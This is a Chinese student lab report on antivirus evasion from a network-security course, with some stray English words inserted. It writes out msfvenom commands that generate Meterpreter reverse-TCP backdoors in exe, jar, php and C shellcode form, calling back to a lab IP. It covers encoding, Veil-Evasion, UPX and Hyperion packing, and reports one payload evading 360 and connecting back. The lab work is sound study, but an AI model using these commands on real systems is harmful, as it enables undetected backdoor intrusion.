2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践

###
2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践

1、实验内容

  • 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其余文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)php

  • 1.2 经过组合应用各类技术实现恶意代码免杀(0.5分)html

  • 1.3 用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

    2、报告内容

2.1 基础问题问答

  • 杀软是如何检测出恶意代码的?java

    答:主要包括三个方面:shell

    • 基于特征码的检测:特征码就是一段或多端数据,若是一个可执行文件(或者运行的库、脚本等)包含这样的数据就会被认为是恶意代码编程

    • 启发式恶意软件检测:若是一个软件在干通是常恶意软件干的事,看起来就像个恶意软件,那么就把它看成一个恶意软件吧(偷笑.jpg)vim

    • 基于行为的恶意软件检测:属于启发式的一种,加入了行为监控windows

  • 免杀是作什么?安全

    答:经过修改恶意软件或恶意代码让其可以不被杀毒软件检测出来。网络

  • 免杀的基本方法有哪些?tcp

    答:整体技术有以下:

    • 改变特征码:若是有exe文件,就对它进行加壳(压缩、加密)、若是有shellcode,就用encode进行编码,基于playload从新编译生成可执行文件、若是有源代码,用其它语言进行重写再编译

    • 改变行为:通信方式方面尽可能使用反弹链接、隧道技术、通信数据加密,操做模式方面最好基于内存操做、减小对系统的修改、加入混淆做用的正常功能代码

    • 很是规的办法:使用一个有漏洞的应用当成后门,社会工程学(无敌)、纯手工打造一个恶意软件

  • 开启杀软能绝对防止电脑中恶意代码吗?

    答:经过此次实验,很明显知道这是不可能的事情

2.2 实验过程

1、正确使用msf编码器(0.5分),msfvenom生成如jar之类的其余文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

正确使用msf编码器

  • 这里我和其它同窗同样,使用实验二中msf生成的简单后门程序放到virscan网站中进行扫描(文件名还不能开头为数字),发现这个未经处理的后门不堪重任。

  • 使用360卫士对它进行扫描:

  • 而后按照老师上课时的步骤,对这个文件进行屡次编码,使用到的指令以下:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.123 LPORT=5320 -f exe > coded10.exe

  • 拿新生成的文件去验一下货,结果是一顿操做猛如虎,一看战绩0杠5,花里胡哨罢了,并无什么卵用

  • 拿360卫士对它进行扫描

  • msfvenom生成如jar之类的其余文件

    • 首先使用msf试着生成一个.jar类型的文件,指令以下:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.123 lport=5320 x> 20165320_backdoor_java.jar

    • 出乎意料的是,.jar文件,只有六款杀软能杀出来,简直不敢相信

    • 拿360卫士对它进行扫描

    • 而后用msf试着生成一个.php类型的文件,指令以下:msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.123 lport=443 x> backdoor5320.php

    • 而后将它放入virscan进行扫描,发现仅仅只有2%的几率被AV检测到,并且这两款都是须要付费的国外软件

    • 固然,360也确定扫不出来

veil-evasion生成后门程序及检测

  • PS:我以为整个实验最难的部分就是veil的安装了,调试了一个晚上也没能成功,不是安装Python3.4的时候出错,就是卡在展开对象的位置,最后仍是拷了同窗的虚拟机,总而言之,装东西仍是随缘

  • 安装后(拷完虚拟机后),命令行中输入veil进入控制界面

  • 输入use evasion进入evasion

  • 输入use c/meterpreter/rev_tcp.py开始对后门程序设置相关的参数

  • 而后设置反弹回连的IP、端口号

  • 设置完参数以后输入generate生成后门程序

  • 拿veil生成的文件放到virscan进行扫描测试:

  • 用360对它进行扫描,表示很无辜的被发现了

半手工注入Shellcode并执行

  • 从新回到原来的Kali虚拟机,在命令行中输入命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=5320 -f c用c语言生成一段shellcode

  • vim一个以下的.c文件

  • 使用命令i686-w64-mingw32-g++ bcak20165320.c -o back20165320.exe生成一个可执行文件

  • 将该文件拷到virscan网站上进行扫描

  • 将该文件用360进行扫描,出乎意料地发现这么简单的操做360竟然发现不了

  • 虽然360扫描的时候没发现问题,执行的时候仍是被抓住了

执行加壳操做

  • 对刚刚生成的半手工shellcode程序加上一个压缩壳,使用指令 upx 源文件 -o 目标文件

  • 放入virscan文件中检测一下

  • 执行的时候360直接发现

  • 尝试对半手工shellcode程序加上一个加密壳,将上例的文件放入到/usr/share/windows-binaries/hyperion/目录,进入该目录,使用命令wine hyperion.exe -v 源文件 目标文件

  • 添加加密壳的文件仍是不能经过virscan网站的检测,也不能经过360的扫描

实现免杀

  • 有两种方法:一种是经过将veil生成的文件进行加壳操做、还有一种是经过将shellcode放入本机的C语言编译器,进行编译运行(经过参考大佬们的博客发现的,并且,颇有可能过一两天就不行了,供上一张截图)


用另外一台电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 仍是按照上面免杀的方法,将我生成的一段shellcode,发送给个人好室友,个人好室友使用VC编译运行,在杀软运行的状况下,回连成功,截图与杀软版本号以下:


心得体会

  • 这一次的实验让我明白了杀软并无什么卵用,它可以进行扫描查杀病毒的基础是病毒库,因此只要你可以拿到在它的病毒库里没有记录过的后门程序或者软件,那么就很容易对运行杀软的主机进行攻击,因此之后在使用电脑的过程当中,就算装了杀软,也要注意上网过程不要下载一些不安全的软件。还有就是,不一样的杀软,扫描查杀病毒的能力也良莠不齐,360做为老牌杀软,能力仍是不错的,虽然比起国外的付费软件,差距仍是有点大,但和国内的相比,仍是优点很明显,总而言之,网络攻防,有攻才有防,只要你能想出新的战术,就能破解敌方落后的防护工事。
相关文章
相关标签/搜索